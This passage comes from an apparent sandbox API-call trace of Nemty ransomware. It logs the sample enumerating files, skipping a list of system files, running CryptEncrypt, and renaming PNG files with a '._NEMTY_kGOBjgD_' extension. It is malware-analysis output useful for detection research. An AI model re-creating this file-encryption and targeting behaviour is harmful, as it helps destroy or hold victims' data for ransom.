lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.486] CloseHandle (hObject=0xffffffff) returned 0 [0151.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0151.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0151.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0151.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\10.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\10.png._nemty_kgobjgd_")) returned 0 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0151.487] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867e8f60, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x867e8f60, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aa9137b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="11.png", cAlternateFileName="")) returned 1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2=".") returned 1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="..") returned 1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="...") returned 1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="windows") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="$RECYCLE.BIN") returned 1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="rsa") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="NTDETECT.COM") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="ntldr") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="MSDOS.SYS") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="IO.SYS") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="boot.ini") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="boot.ini") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="AUTOEXEC.BAT") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="ntuser.dat") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="desktop.ini") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="CONFIG.SYS") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="RECYCLER") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="BOOTSECT.BAK") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="bootmgr") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="programdata") returned -1 [0151.487] lstrcmpiW (lpString1="11.png", lpString2="appdata") returned -1 [0151.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.png", lpUsedDefaultChar=0x0) returned 6 [0151.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.png", lpUsedDefaultChar=0x0) returned 6 [0151.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.png", lpUsedDefaultChar=0x0) returned 6 [0151.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.488] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="11.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="11.png", lpUsedDefaultChar=0x0) returned 6 [0151.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0151.488] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0151.488] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0151.488] Sleep (dwMilliseconds=0x5) [0151.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf10d50, dwHighDateTime=0x1d561e8)) [0151.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf10d50, dwHighDateTime=0x1d561e8)) [0151.489] GetLastError () returned 0x5 [0151.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0151.489] GetLastError () returned 0x5 [0151.489] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0151.489] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0151.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0151.490] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0151.490] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0151.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0151.490] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="gnlA9GibG8+7cLLoMVjUywROs7RQFYDhPlz/0XasPF5FZPaERE6dgXL/GX9Vcy9W\r\nyROyCjAdKij6xwcvi6n9QaaNL5C3Bczv7TYS+JC01ml1rll2dULPQF8xw3U3lQ+G\r\nQr7ku86X7duRIrFcaeFNi394eBiTIj+oazQr6b+a4dtS3WGmp3k23z8x0+QWVRtj\r\nMXY2/jNNxDgTSPo09KXrJUpZwPpNa9J3yo/iqpF76sAGUES0GTA3grTceeKoRlFk\r\n28K0VngzVMd6/0kRjG90M25soDDvwbVXE5u3UWCiOkCD+a01X0xkd4kI8icUjid5\r\nE59I6rHOuHu6MrqlFcwbwQ==\r\n", pcchString=0x653e91c) returned 1 [0151.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0151.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.490] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0151.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0151.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0151.490] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0151.490] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0151.490] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0151.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.500] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.574] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.583] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.583] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.583] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0151.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0151.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0151.595] CloseHandle (hObject=0xffffffff) returned 0 [0151.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0151.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0151.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0151.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0151.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0151.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0151.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0151.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\11.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\11.png._nemty_kgobjgd_")) returned 0 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0151.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0151.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0151.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0151.596] FindNextFileW (in: hFindFile=0x3423a70, 